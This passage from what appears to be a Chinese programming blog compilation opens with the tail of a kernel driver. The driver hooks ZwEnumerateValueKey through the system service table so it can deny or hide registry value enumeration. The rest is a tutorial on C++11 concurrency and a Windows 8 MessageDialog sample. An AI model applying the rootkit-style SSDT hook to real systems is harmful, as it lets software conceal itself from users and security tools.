return STATUS_ACCESS_DENIED;
}
}
}
}
status = RealZwEnumerateValueKey(KeyHandle,
Index,
KeyValueInformationClass,
KeyValueInformation,
Length,
ResultLength);
if(pUniName)
{
ExFreePool(pUniName);
}
return(status);
}
VOID
DriverUnload(
IN PDRIVER_OBJECT DriverObject
)
{
DbgPrint("驱动已经停止了\n");
(REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = RealZwEnumerateValueKey;
}
NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
DbgPrint("驱动已经加载了\n");
RealZwEnumerateValueKey = (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey));
(REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = HookZwEnumerateValueKey;
DriverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
~~~
Visual C++ 11 中新的并发功能
最后更新于:2022-04-01 10:27:39
最新的 C++ 迭代(称为 C++11,在去年通过了国际标准化组织 (ISO) 的审批)形式化了一组新库和一些保留字以处理并发。许多开发者以前都在 C++ 中使用过并发功能,但都是通过第三方的库,即,通常直接公开 OS API。
Herb Sutter 在 2004 年 12 月宣告“免费的性能午餐”结束,因为禁止 CPU 制造商通过物理能耗和增加碳排放量来生产更快的 CPU。由此进入了当前主流的多核时代,一种新的实现,而 C++(标准组件)为适应此类变化取得了重要的飞跃。
本文下面的内容将分成两节,另外还有一些小节。第一节,从并行执行开始,介绍允许应用程序并行运行独立或半独立活动的技术。第二节,从同步并发执行开始,探讨同步机制,这些活动通过同步方式处理数据,以避免出现争用情况。
本文基于即将推出的 Visual C++ 版本(现在称为 Visual C++ 11)中包括的功能。当前版本 (Visual C++ 2010) 中已提供其中部分功能。尽管本文不提供关于为并行算法建模的指南,也不提供关于所有可用选项的详尽文档,但却全面介绍了新的 C++11 并发功能,内容丰富详实。
### 并行执行
当您对数据建模和设计算法时,很自然地就会按照具有一定顺序的步骤指定这些建模和设计过程。只要性能位于可接受的范围内,这就是最值得推荐的方案,因为它通常更易于理解,而这符合维护代码的要求。
当性能成为令人担忧的问题时,为处理这种情况通常都会先尝试优化序列算法以减少使用的 CPU 循环。这种做法始终可行,直到无法再进行优化或难以优化。这时就需要将连续的一系列步骤拆分为同时进行的多项活动。
在第一节中,您将了解到以下内容:
- **异步任务:** 一小部分原始算法,仅通过它们生成或使用的数据进行链接。
- **线程:** 运行时环境管理的执行单元。它们与任务相关,因为任务在某种程度上在线程上运行。
- **线程内部:** 线程绑定变量、线程传播的异常等等
### 异步任务
在本文随附的代码中,您将找到一个名为“顺序案列”的项目,如**图 1** 所示。
图 1 顺序案例代码
~~~
int a, b, c;
int calculateA()
{
return a+a*b;
}
int calculateB()
{
return a*(a+a*(a+1));
}
int calculateC()
{
return b*(b+1)-b;
}
int main(int argc, char *argv[])
{
getUserData(); // initializes a and b
c = calculateA() * (calculateB() + calculateC());
showResult();
}
~~~
主函数向用户请求一些数据,然后将该数据提交给三个函数: calculateA、calculateB 和 calculateC。稍后将组合这些结果,以便为用户生成一些输出信息。
随附材料中计算函数的编码方式在每个函数中引入了 1 到 3 秒的随机延迟。由于这些步骤是按顺序执行的,因此只要输入数据,就会产生一个在最糟糕情况下为 9 秒的总体执行时间。您可以通过按 F5 运行本示例来尝试此代码。
因此,我需要修改执行序列和查找并发执行步骤。由于这些函数都是独立的,因此我可以使用异步函数并行执行它们:
~~~
int main(int argc, char *argv[])
{
getUserData();
future<int> f1 = async(calculateB), f2 = async(calculateC);
c = (calculateA() + f1.get()) * f2.get();
showResult();
}
~~~
在这里我引入了两个概念: async 和 future,在 <future> 标头和 std 命名空间中都有定义。前者接收函数、lambda 或函数对象(即算符)并返回 future。您可以将 future 的概念理解为事件结果的占位符。什么结果?异步调用函数返回的结果。
在某些时候,我将需要这些并行运行函数的结果。对每个 future 调用 get 方法会阻止执行,直到值可用。
您可以通过运行随附示例中的 AsyncTasks 项目来测试修改后的代码,并将其与顺序案例进行比较。经过此修改后最糟情况下的延迟大约为 3 秒,与顺序版本的 9 秒相比有很大进步。
此轻型编程模型将开发者从创建线程的任务中解放出来。然而,您可以指定线程策略,但这里我不介绍此内容。
### 线程
前面一节介绍的异步任务模型在某些指定的应用场景中可能已经足够了,但如果您需要进一步处理和控制线程的执行,那么 C++11 还提供了线程类,该类在 <thread> 标头中声明并位于 std 命名空间中。
尽管编程模型更为复杂,但线程可以提供更好的同步和协调方法,以允许它们执行其他线程并等待既定的时间长度,或直到其他线程完成后再继续。
在以下随附代码的“线程”项目中提供的示例中,我让 lambda 函数(为其赋予了整数参数)将其小于 100,000 的倍数显示到控制台:
~~~
auto multiple_finder = [](int n) {
for (int i = 0; i < 100000; i++)
if (i%n==0)
cout << i << " is a multiple of " << n << endl;
};
int main(int argc, char *argv[])
{
thread th(multiple_finder, 23456);
multiple_finder(34567);
th.join();
}
~~~
正如您将在后面的示例中看到的,我视情况将 lambda 传递给线程;一个函数或算符就已足够。
在主函数中,我使用不同的参数在两个线程中运行此函数。看一下生成的结果(因为运行时机不同,运行产生的结果也不同):
~~~
0 is a multiple of 23456
0 is a multiple of 34567
23456 is a multiple of 23456
34567 is a multiple of 34567
46912 is a multiple of 23456
69134 is a multiple of 34567
70368 is a multiple of 23456
93824 is a multiple of 23456
~~~
我可以使用线程实现前面一节中有关异步任务的示例。为此,我需要引入 promise 的概念。可以将 promise 理解为一个用于放置可用结果的接收器。将结果放置在其中后又从哪个位置提取该结果呢?每个 promise 都有一个关联的 future。
图 2中显示的、示例代码的 Promise 项目中提供的代码将三个线程(而非任务)与 promise 关联并让每个线程调用 calculate 函数。将这些细节与轻型 AsyncTasks 版本比较。
图 2 关联 Future 和 Promise
~~~
typedef int (*calculate)(void);
void func2promise(calculate f, promise<int> &p)
{
p.set_value(f());
}
int main(int argc, char *argv[])
{
getUserData();
promise<int> p1, p2;
future<int> f1 = p1.get_future(), f2 = p2.get_future();
thread t1(&func2promise, calculateB, std::ref(p1)),
t2(&func2promise, calculateC, std::ref(p2));
c = (calculateA() + f1.get()) * f2.get();
t1.join(); t2.join();
showResult();
}
~~~
### 线程绑定变量和异常
在 C++ 中,您可以定义全局变量,它的范围绑定到整个应用程序,包括线程。但相对于线程,现在有方法定义这些全局变量,以便每个线程保有自己的副本。此概念称为线程本地存储,其声明如下:
~~~
thread_local int subtotal = 0;
~~~
如果声明在函数范围内完成,则只有该函数能够看到变量,但每个线程将继续维护自己的静态副本。也就是说,每个线程的变量的值在函数调用之间将得到保持。
尽管 thread_local 在 Visual C++ 11 中不可用,但可以使用非标准的 Microsoft 扩展对它进行模拟:
~~~
#define thread_local __declspec(thread)
~~~
如果线程内引发异常将会发生什么?有时候可以在线程内的调用堆栈中捕获和处理异常。但如果线程不处理异常,则需要采用一种方法将异常传输到发起方线程。C++11 引入了此类机制。
在图 3 中,在随附代码的项目 ThreadInternals 中提供了一个 sum_until_element_with_threshold 函数,该函数遍历矢量直至找到特定元素,而在此过程中它会对所有元素求和。如果总和超过阈值,则引发异常。
图 3 线程本地存储和线程异常
~~~
thread_local unsigned sum_total = 0;
void sum_until_element_with_threshold(unsigned element,
unsigned threshold, exception_ptr& pExc)
{
try{
find_if_not(begin(v), end(v), [=](const unsigned i) -> bool {
bool ret = (i!=element);
sum_total+= i;
if (sum_total>threshold)
throw runtime_error("Sum exceeded threshold.");
return ret;
});
cout << "(Thread #" << this_thread::get_id() << ") " <<
"Sum of elements until " << element << " is found: " << sum_total << endl;
} catch (...) {
pExc = current_exception();
}
}
~~~
如果发生该情况,将通过 current_exception 将异常捕获到 exception_ptr 中。
主函数对 sum_until_element_with_threshold 触发线程,同时使用其他参数调用该相同的函数。当两个调用(一个在主线程中,另一个在从主线程触发的线程中)都完成后,将对其相应的 exception_ptrs 进行分析:
~~~
const unsigned THRESHOLD = 100000;
vector<unsigned> v;
int main(int argc, char *argv[])
{
exception_ptr pExc1, pExc2;
scramble_vector(1000);
thread th(sum_until_element_with_threshold, 0, THRESHOLD, ref(pExc1));
sum_until_element_with_threshold(100, THRESHOLD, ref(pExc2));
th.join();
dealWithExceptionIfAny(pExc1);
dealWithExceptionIfAny(pExc2);
}
~~~
如果其中任何 exception_ptrs 进行了初始化(即,表明出现某些异常),将使用 rethrow_exception 再次触发它们的异常:
~~~
void dealWithExceptionIfAny(exception_ptr pExc)
{
try
{
if (!(pExc==exception_ptr()))
rethrow_exception(pExc);
} catch (const exception& exc) {
cout << "(Main thread) Exception received from thread: " <<
exc.what() << endl;
}
}
~~~
当第二个线程中的总和超过其阈值时,我们将获得以下执行结果:
~~~
(Thread #10164) Sum of elements until 0 is found: 94574
(Main thread) Exception received from thread: Sum exceeded threshold.
~~~
### 同步并发执行
最好能够将所有应用程序拆分为 100% 独立的异步任务组。但实际上这几乎是不可能的,因为各方并发处理的数据都至少具有一定的依赖关系。本节介绍可避免发生争用情况的新 C++11 技术。
您将了解到以下信息:
- **原子类型:** 与基元数据类型相似,但允许进行线程安全修改。
- **互斥和锁定:** 允许我们定义线程安全临界区的元素。
- **条件变量:** 一种在满足某条件之前停止执行线程的方法。
### 原子类型
<atomic> 标头引入了一系列可通过连锁操作实现的基元类型(atomic_char、atomic_int 等等)。因此,这些类型等同于它们的不带 atomic_ 前缀的同音词,但不同的是这些类型的所有赋值运算符(==、++、--、+=、*= 等等)均不受争用情况的影响。因此,在为这些数据类型赋值期间,其他线程无法在我们完成赋值操作之前中断并更改值。
在下面的示例中,有两个并行线程(其中一个是主线程)在相同矢量中查找不同的元素:
~~~
atomic_uint total_iterations;
vector<unsigned> v;
int main(int argc, char *argv[])
{
total_iterations = 0;
scramble_vector(1000);
thread th(find_element, 0);
find_element(100);
th.join();
cout << total_iterations << " total iterations." << endl;
}
~~~
当找到每个元素后,会显示来自线程内部的消息,告知在矢量(或迭代)中的哪个位置找到了该元素。
~~~
void find_element(unsigned element)
{
unsigned iterations = 0;
find_if(begin(v), end(v), [=, &iterations](const unsigned i) -> bool {
++iterations;
return (i==element);
});
total_iterations+= iterations;
cout << "Thread #" << this_thread::get_id() << ": found after " <<
iterations << " iterations." << endl;
}
~~~
还有一个常用变量 total_iterations,它使用两个线程都应用的总迭代次数进行更新。因此,total_iterations 必须为原子以防止两个线程同时对其进行更新。在前面的示例中,即使您不需要在 find_element 中显示部分数量的迭代,您仍然在该本地变量(而非 total_iterations)中累积迭代,以避免争用原子变量。
您可以在随附代码下载的“原子”项目中找到上述示例。运行该示例,可获得下面的结果:
~~~
Thread #8064: found after 168 iterations.
Thread #6948: found after 395 iterations.
563 total iterations.
~~~
### 互斥和锁定
前面一节介绍了在对基元类型进行写访问时发生互斥的特殊情况。<mutex> 标头定义了一系列用于定义临界区的可锁定类。这样,您就可以定义互斥以在一系列函数或方法中建立临界区,在这种情况下,一次只能有一个线程可以通过成功锁定系列互斥来访问此系列中的任何成员。
尝试锁定互斥的线程可以保持阻止状态直到互斥可用,或直接放弃尝试。在这两种极端的做法之间,还可以使 timed_mutex 类保持阻止状态一段时间,然后再放弃尝试。允许锁定将尝试停止帮助防止死锁。
锁定的互斥必须明确解锁后,其他线程才能对其进行锁定。无法解锁可能会导致不确定的应用程序行为,继而容易出错,这与忘记释放动态内存相似。忘记释放锁定实际上更严重,因为它可能意味着如果其他代码继续等待该锁定,那么应用程序将再也无法正常运行。幸运的是,C++11 还提供锁定类。虽然针对互斥执行锁定,但其析构函数确保锁定后还会解锁。
代码下载的“互斥”项目中提供的以下代码定义有关互斥 mx 的临界区:
~~~
mutex mx;
void funcA();
void funcB();
int main()
{
thread th(funcA)
funcB();
th.join();
}
~~~
此互斥用于保证两个函数(funcA 和 funcB)可以并行运行,而不会在临界区中同时出现。
如果需要,函数 funcA 将等待进入临界区。为了实现此过程,您只需要最简单的锁定机制,即 lock_guard:
~~~
void funcA()
{
for (int i = 0; i<3; ++i)
{
this_thread::sleep_for(chrono::seconds(1));
cout << this_thread::get_id() << ": locking with wait... "
<< endl;
lock_guard<mutex> lg(mx);
...
// Do something in the critical region.
cout << this_thread::get_id() << ": releasing lock." << endl;
}
}
~~~
这样定义后,funcA 应访问临界区三次。而函数 funcB 将尝试锁定,但如果互斥到那时已锁定,则 funcB 将等待几秒,然后再次尝试访问临界区。它使用的机制是 unique_lock,另外还有策略 try_to_lock_t,如**图 4** 所示。
图 4 锁定与等待
~~~
void funcB()
{
int successful_attempts = 0;
for (int i = 0; i<5; ++i)
{
unique_lock<mutex> ul(mx, try_to_lock_t());
if (ul)
{
++successful_attempts;
cout << this_thread::get_id() << ": lock attempt successful." <<
endl;
...
// Do something in the critical region
cout << this_thread::get_id() << ": releasing lock." << endl;
} else {
cout << this_thread::get_id() <<
": lock attempt unsuccessful.
Hibernating..." << endl;
this_thread::sleep_for(chrono::seconds(1));
}
}
cout << this_thread::get_id() << ": " << successful_attempts
<< " successful attempts." << endl;
}
~~~
这样定义后,funcB 将最多五次尝试进入临界区。**图 5** 显示执行的结果。五次尝试中,funcB 只能进入临界区两次。
图 5 执行示例项目互斥
~~~
funcB: lock attempt successful.
funcA: locking with wait ...
funcB: releasing lock.
funcA: lock secured ...
funcB: lock attempt unsuccessful.
Hibernating ...
funcA: releasing lock.
funcB: lock attempt successful.
funcA: locking with wait ...
funcB: releasing lock.
funcA: lock secured ...
funcB: lock attempt unsuccessful.
Hibernating ...
funcB: lock attempt unsuccessful.
Hibernating ...
funcA: releasing lock.
funcB: 2 successful attempts.
funcA: locking with wait ...
funcA: lock secured ...
funcA: releasing lock.
~~~
### 条件变量
标头 <condition_variable> 指出了本文最后的内容,这些内容是当线程之间的协调受制于事件时所出现的各种情况的基础。
在代码下载的 CondVar 项目中提供的以下示例中,producer 函数推送队列中的元素:
~~~
mutex mq;
condition_variable cv;
queue<int> q;
void producer()
{
for (int i = 0;i<3;++i)
{
...
// Produce element
cout << "Producer: element " << i << " queued." << endl;
mq.lock(); q.push(i); mq.unlock();
cv.
notify_all();
}
}
~~~
标准队列不是线程安全的,所以您必须确保排队时没有其他人正在使用它(即,consumer 没有弹出任何元素)。
consumer 函数尝试在可用时从队列中获取元素,或者它只是针对条件变量等待一会儿,然后再重新尝试;在连续两次尝试失败后,consumer 结束(参见图 6)。
图 6 通过条件变量唤醒线程
~~~
void consumer()
{
unique_lock<mutex> l(m);
int failed_attempts = 0;
while (true)
{
mq.lock();
if (q.size())
{
int elem = q.front();
q.pop();
mq.unlock();
failed_attempts = 0;
cout << "Consumer: fetching " << elem << " from queue." << endl;
...
// Consume elem
} else {
mq.unlock();
if (++failed_attempts>1)
{
cout << "Consumer: too many failed attempts -> Exiting." << endl;
break;
} else {
cout << "Consumer: queue not ready -> going to sleep." << endl;
cv.wait_for(l, chrono::seconds(5));
}
}
}
}
~~~
每次新的元素可用时,producer 都会通过 notify_all 唤醒 consumer。这样,producer 可以在元素准备就绪的情况下避免 consumer 在整个间隔期内都处于睡眠状态。
图 7显示相关运行的结果。
图 7 使用条件变量进行同步
~~~
Consumer: queue not ready -> going to sleep.
Producer: element 0 queued.
Consumer: fetching 0 from queue.
Consumer: queue not ready -> going to sleep.
Producer: element 1 queued.
Consumer: fetching 1 from queue.
Consumer: queue not ready -> going to sleep.
Producer: element 2 queued.
Producer: element 3 queued.
Consumer: fetching 2 from queue.
Producer: element 4 queued.
Consumer: fetching 3 from queue.
Consumer: fetching 4 from queue.
Consumer: queue not ready -> going to sleep.
Consumer: two consecutive failed attempts -> Exiting.
~~~
### 整体概览
综上所述,本文展示了 C++11 中所引入机制的概念性全景图,这些机制允许在多核环境为主流的时代中并行执行任务。
异步任务允许轻型编程模型并行化执行。可以通过关联的 future 检索每项任务的结果。
线程可以提供比任务更多的粒度,尽管它们更大一些,并且所提供的机制可保持静态变量的单独副本并在线程之间传输异常。
在对同一数据执行并行线程时,C++11 可提供资源以避免发生争用情况。原子类型通过受信任的方式来确保一次只有一个线程修改数据。
互斥可帮助我们定义代码中的临界区,即防止线程同时访问的区域。锁定可包装互斥,以尝试在前者的生命周期内解锁后者。
最后,条件变量提高了线程同步的效率,因为某些线程可以等待其他线程通知的事件。
赶紧下载VS11体验吧
[http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144](http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144)
[](http://blog.csdn.net/yincheng01/article/details/7495227)
基于VisualStudio11开发Windows8的Metro sample讲解(1)MessageBox
最后更新于:2022-04-01 10:27:36
我们所了解的MessageBox。
函数原型:essageBox.Show(Text,Title,MessageBoxButtons,MessageBoxIcon ,MessageBoxDefaultButtons)
参数说明:
(1)Text:必选项,消息框的正文。
(2)Title:可选项,消息框的标题。
(3)MessageBoxButtons:可选项,消息框的按钮设置,默认只显示【确定】按钮。
OK――确定 OKCancel――确定和取消 AbortRetryIgnore――终止、重试和忽略 YesNoCancel――是、否和取消 YesNo――是和否 RetryCancel――重试和取消
(4)MessageBoxIcon:对话框中显示的图标样式,默认不显示任何图标。 Question――问号 Information、Asterisk――i号 Error、Stop、Hand――错误号Warning、Exclamation――!号 None――不显示任何图标
(5)MessageBoxDefaultButtons:可选项,对话框中默认选中的按钮设置。DefaultButton1――第1个button是默认按钮 DefaultButton2――第2个button是默认按钮 DefaultButton3――第3个button是默认按钮
备注:函数原型中蓝色字体部分的参数,可以通过点来获取其后面跟随的参数值。
MessageBox(NULL,"text","title",BUTTON);
参数title:string类型,指定消息对话框的标题。text:指定消息对话框中显示的消息,该参数可以是数值数据类型、字符串或boolean值。icon:Icon枚举类型,可选项,指定要在该对话框左侧显示的图标。button:Button枚举类型,可选项,指定显示在该对话框底部的按钮。default:数值型,可选项,指定作为缺省按钮的按钮编号,按钮编号自左向右依次计数,缺省值为1,如果该参数指定的编号超过了显示的按钮个数,那么MessageBox()函数将使用缺省值返回值Integer。函数执行成功时返回用户选择的按钮编号(例如1、2、3等),发生错误时返回-1。如果任何参数的值为NULL,MessageBox()函数返回NULL。
比如说,想弹出如图所示的窗口,命令为: MessageBox(NULL,"MessageBoxText(内容)","Title(标题)",MB_OK); 如果想置顶 int iRet; iRet=MessageBox(hwnd,"PLC报警!","对话框",MB_YESNO|MB_ICONQUESTION|MB_SYSTEMMODAL); 或 iRet=MessageBox(NULL,"PLC报警!","对话框", MB_YESNO|MB_ICONQUESTION|MB_DEFBUTTON1|MB_SYSTEMMODAL); 增加一个焦点在第一个按钮上更有效。
参数如下
hWnd:标识将被创建的消息框的拥有窗口。如果此参数为NULL,则消息框没有拥有窗口。
lpText:指向一个以NULL结尾的、含有将被显示的消息的字符串的指针。
lpCaption:指向一个以NULL结尾的、用于对话框标题的字符串的指针。
uType:指定一个决定对话框的内容和行为的位标志集。此参数可以为下列标志组中标志的组合。
指定下列标志中的一个来显示消息框中的按钮,标志的含义如下。
MB_ABORTRETRYIGNORE:消息框含有三个按钮:Abort,Retry和Ignore。
MB_OK:消息框含有一个按钮:OK。这是缺省值。
MB_OKCANCEL:消息框含有两个按钮:OK和Cancel。
MB_RETRYCANCEL:消息框含有两个按钮:Retry和Cancel。
MB_YESNO:消息框含有两个按钮:Yes和No。
MB_YESNOCANCEL:消息框含有三个按钮:Yes,No和Cancel。
指定下列标志中的一个来显示消息框中的图标:标志的含义如下。
MB_ICONEXCLAMATION:
MB_ICONWARNING:一个惊叹号出现在消息框。
MB_ICONINFORMATION:
MB_ICONASTERISK:一个圆圈中小写字母i组成的图标出现在消息框。
MB_ICONQUESTION:一个问题标记图标出现在消息框。
MB_ICONSTOP:
MB_ICONERROR:
MB_ICONHAND:一个停止消息图标出现在消息框。
指定下列标志中的一个来显不缺省的按钮:标志的含义如下。
MB_DEFBUTTON1:第一个按钮为缺省按钮。如果MB_DEFBUTTON2,MB_DEFBUTTON3,MB_DEFBUTTON4没有被指定,则MB_DEFBUTTON1为缺省值。
MB_DEFBUTTON2;第二个按钮为缺省按钮。
MB_DEFBUTTON3:第三个按钮为缺省按钮。
MB_DEFBUTTON4:第四个按钮为缺省按钮。
指定下列标志中的一个来显示对话框的形态:标志的含义如卜。
MB_APPLMODAL:在hwnd参数标识的窗口中继续工作以前,用户一定响应消息框。但是,用户可以移动到其他线程的窗口且在这些窗口中工作。根据应用程序中窗口的层次机构,用户则以移动到线程内的其他窗口。所有母消息框的子窗口自动地失效,但是弹出窗口不是这样。如果既没有指定MB_SYSTEMMODAL也没有指定MB_TASKMOOAL,则MB_APPLMODAL为缺省的。
MB_SYSTEMMODAL:除了消息框有WB_EX_TOPMOST类型,MB_APPLMODAL和WS_EX_TOPMOST一样。用系统模态消息框来改变各种各样的用户,主要的损坏错误需要立即注意(例如,内存溢出)。如果不是那些与hwnd联系的窗口,此标志对用户对窗口的相互联系没有影响。
MB_TASKMODAL:如果参数hwnd为NULL,除了所有属于当前线程高层次的窗口足失效的,MB_TASKMODALL和MB_ApPLMODAL一样。当调用应用程序或库没有一个可以得到的窗口句柄时,使用此标志。但仍需要阻止到调用应用程序甲其他窗口的输入而不是搁置其他线程。
另外,可以指定下列标志。
MB_DEFAULT_DESKTOP_ONLy:接收输入的当前桌面一定是一个缺省桌面。否则,函数调用失败。缺省桌面是一个在用户已经纪录且以后应用程序在此上面运行的桌面。
MB_HELP:把一个Help按钮增加到消息框。选择Help按钮或按F1产生一个Help事件。
MB_RIGHT:文本为右调整。
MB_RTLREADING:用在Hebrew和Arabic系统中从右到左的顺序显示消息和大写文本。
MB_SETFOREGROUND:消息框变为前景窗口。在内部系统为消息个调用SetForegroundWindow函数。
MB_TOPMOSI:消息框用WS_EX_TOPMOST窗口类型来创建MB_SERVICE_NOTIFICATION。
Windows NT:调用程序是一个通知事件的用户的服务程序。函数在当前活动桌面上显示一个消息框,即使没有用户登记到计算机。
如果设置了此参数,则hwnd参数一定为NULL。所以消息框可以出现在一个桌面上而不是桌面响应参数hwnd。
对于Windows NT 4.0,MB_SERVICE_NOTIFICATION的值已经改变。对于旧的和新的值,请参见WINUSER。
Windows NT 4.O通过把旧值映射到MessageBox和MessageBoxEx执行中的新值,为先存在的服务程序提供逆兼容。此映射只为有了版本数目的可执行程序而做。
为了建立一个用MB_SERVICE_NOTIFICATION的服务器,且可以在Windows NT 3.X和Window NT 4.0上执行,可有两种选择。在连接时间,指定一个版本数目小于4.0的版本,或在连接时间,指定一个4.0版本。在运行时间,用函数GetVersionEx来检测系统版本,然后在Windows NT 3.X上用MB_SERVICE_NOTIFICATION_NT 3.x来运行和在Windows NT 4.0上用MB_SERVICE_NOTIFICAION来运行。MB_SERVCE_NOTIFICATION_NT3.x(WindowNT)此值响应于为WindowNT3.51的MB_SERVICE_NOTIFICAION
定义的值。
返回值如下
如果没有足够的内存来创建消息框,则返回值为零。如果函数调用成功,则返回值为下列对话框返回的菜单项目值中的一个:
IDABORT:Abort 按钮被选中。IDCANCEL:Cancel按钮被选中。IDIGNORE:Ignore按钮被选中。
IDNO:NO按钮被选中。IDOK:OK按钮被选中。IDRETRY:RETRY按钮被选中。
IDYES:YES按钮被选中。
如果一个消息框有一个Cancel按钮,且如果Esc键被按下或Cancel键被选择,则函数返回IDCANCEL值。如果消息框没有Cancel按钮,则按Esc键没有作用。
MessageBox的返回值默认定义 MessageBox的返回值其实都是整型的数,以下是默认的定义
#define IDOK 1
#define IDCANCEL 2
#define IDABORT 3
#define IDRETRY 4
#define IDIGNORE 5
#define IDYES 6
#define IDNO 7
#if(WINVER >= 0x0400)
#define IDCLOSE 8
#define IDHELP 9
下面我们来亲自实践Windows8中的MessageBox
看一下程序初始化代码
~~~
#include "pch.h"
#include "MainPage.xaml.h"
#include "App.xaml.h"
using namespace Windows::UI::Xaml;
using namespace Windows::UI::Xaml::Controls;
using namespace Windows::UI::Xaml::Data;
using namespace Windows::System;
using namespace Windows::Foundation;
using namespace Platform;
using namespace MessageDialog;
using namespace CppSamplesUtils;
using namespace Windows::UI::Xaml::Navigation;
using namespace Windows::UI::Xaml::Interop;
using namespace Windows::UI::ViewManagement;
using namespace Windows::Graphics::Display;
MainPage::MainPage()
{
InitializeComponent();
SetFeatureName("MessageDialog");
_scenariosFrame = ScenarioList;
_inputFrame = ScenarioInput;
_outputFrame = ScenarioOutput;
_layoutHandlerToken = ApplicationView::GetForCurrentView()->ViewStateChanged +=
ref new TypedEventHandler<ApplicationView^, ApplicationViewStateChangedEventArgs^>(this, &MainPage::Page_ViewStateChanged);
_pageLoadedHandlerToken = Loaded += ref new RoutedEventHandler(this, &MainPage::Page_Loaded);
_logicalDpiChangedToken = DisplayProperties::LogicalDpiChanged += ref new DisplayPropertiesEventHandler(this, &MainPage::DisplayProperties_LogicalDpiChanged);
}
MainPage::~MainPage()
{
}
void MainPage::Page_Loaded(Object^ sender, RoutedEventArgs^ e)
{
TypeName pageType = { "MessageDialog.ScenarioList", TypeKind::Custom };
ScenarioList->Navigate(pageType, this);
CheckResolutionAndViewState();
}
void MainPage::SetFeatureName(String^ strFeature)
{
FeatureName->Text = strFeature;
}
void MainPage::Page_ViewStateChanged(ApplicationView^ sender, ApplicationViewStateChangedEventArgs^ e)
{
CheckResolutionAndViewState();
}
void MainPage::DisplayProperties_LogicalDpiChanged(Object^ sender)
{
CheckResolutionAndViewState();
}
void MainPage::CheckResolutionAndViewState()
{
::ApplicationViewState state = ApplicationView::Value;
String^ stateString = ConvertViewState(state);
::ResolutionScale scale = DisplayProperties::ResolutionScale;
String^ scaleString = ConvertResolution(scale);
VisualStateManager::GoToState(this, stateString + scaleString, false);
}
String^ MainPage::ConvertViewState(::ApplicationViewState state)
{
switch (state)
{
case ::ApplicationViewState::Filled:
return "Filled";
case ::ApplicationViewState::FullScreenLandscape:
return "FullScreenLandscape";
case ::ApplicationViewState::FullScreenPortrait:
return "FullScreenPortrait";
case ::ApplicationViewState::Snapped:
return "Snapped";
}
return "";
}
String^ MainPage::ConvertResolution(::ResolutionScale scale)
{
switch (scale)
{
case ::ResolutionScale::Scale100Percent:
return "Scale100Percent";
case ::ResolutionScale::Scale140Percent:
return "Scale140Percent";
case ::ResolutionScale::Scale180Percent:
return "Scale180Percent";
}
return "";
}
void MainPage::DoNavigation(TypeName pageType, ::Frame^ frame)
{
frame->Navigate(pageType, this);
std::wstring PageName(pageType.Name->Data());
std::basic_string <wchar_t>::size_type indexSubstring;
indexSubstring = PageName.find(L"Output");
if (indexSubstring != std::wstring::npos)
{
if (OutputFrameLoaded != nullptr)
{
OutputFrameLoaded(this, nullptr);
}
}
else
{
if (InputFrameLoaded != nullptr)
{
InputFrameLoaded(this, nullptr);
}
}
}
void MainPage::NotifyUser(String^ strMessage, NotifyType type)
{
switch (type)
{
case NotifyType::StatusMessage:
StatusBlock->Style = dynamic_cast<::Style^>(App::Current->Resources->Lookup("StatusStyle"));
break;
case NotifyType::ErrorMessage:
StatusBlock->Style = dynamic_cast<::Style^>(App::Current->Resources->Lookup("ErrorStyle"));
break;
default:
break;
}
StatusBlock->Text = strMessage;
}
void MainPage::Footer_Click(Object^ sender, RoutedEventArgs^ e)
{
auto _hyperlinkButton = (HyperlinkButton^)sender;
auto uri = ref new ::Uri((String^)_hyperlinkButton->Tag);
::Launcher::LaunchUriAsync(uri);
}
~~~
对话框1
~~~
#pragma region Click handlers
void ScenarioInput1::Scenario1Launch_Click(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e)
{
Windows::UI::Popups::MessageDialog^ msg = ref new Windows::UI::Popups::MessageDialog("You've exceeded your trial period.");
IAsyncOperation<IUICommand^>^ operation = msg->ShowAsync();
operation->Completed = ref new AsyncOperationCompletedHandler<IUICommand^>([this](IAsyncOperation<IUICommand^>^ op, AsyncStatus status)
{
if (status == AsyncStatus::Completed)
{
this->NotifyUserHandler();
op->Close();
}
else
{
rootPage->NotifyUser("Message dialog returned an error", NotifyType::StatusMessage);
}
});
}
void ScenarioInput1::NotifyUserHandler()
{
InvokedHandler^ callback = ref new InvokedHandler([this](Object^ sender, IInvokedHandlerArgs^ eInvoke)
{
rootPage->NotifyUser("The dialog has now been closed", NotifyType::StatusMessage);
});
Dispatcher->InvokeAsync(Windows::UI::Core::CoreDispatcherPriority::Normal, callback, this, nullptr);
}
#pragma endregion
~~~
对话框2
~~~
using namespace MessageDialog;
using namespace Windows::UI::Core;
using namespace Windows::UI::Popups;
using namespace Windows::UI::Xaml::Navigation;
using namespace Windows::Foundation;
using namespace Platform;
ScenarioInput2::ScenarioInput2()
{
InitializeComponent();
}
ScenarioInput2::~ScenarioInput2()
{
}
void ScenarioInput2::OnNavigatedTo(NavigationEventArgs^ e)
{
rootPage = dynamic_cast<MainPage^>(e->Parameter);
_frameLoadedToken = rootPage->OutputFrameLoaded += ref new Windows::Foundation::EventHandler<Platform::Object^>(this, &ScenarioInput2::rootPage_OutputFrameLoaded);
}
void ScenarioInput2::OnNavigatedFrom(NavigationEventArgs^ e)
{
rootPage->OutputFrameLoaded -= _frameLoadedToken;
}
#pragma endregion
#pragma region Output frame
void ScenarioInput2::rootPage_OutputFrameLoaded(Object^ sender, Object^ e)
{
// Get a pointer to the content within the OutputFrame
Page^ outputFrame = dynamic_cast<Page^>(rootPage->OutputFrame->Content);
}
#pragma endregion
#pragma region Click handlers
void ScenarioInput2::Scenario2Launch_Click(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e)
{
Windows::UI::Popups::MessageDialog^ msg = ref new Windows::UI::Popups::MessageDialog("You have exceeded your trial period. Would you like to continue your trial or upgrade to the full version?");
UICommand^ continueCommand = ref new UICommand("Continue trial", ref new UICommandInvokedHandler(this, &ScenarioInput2::CommandInvokedHandler, CallbackContext::Same));
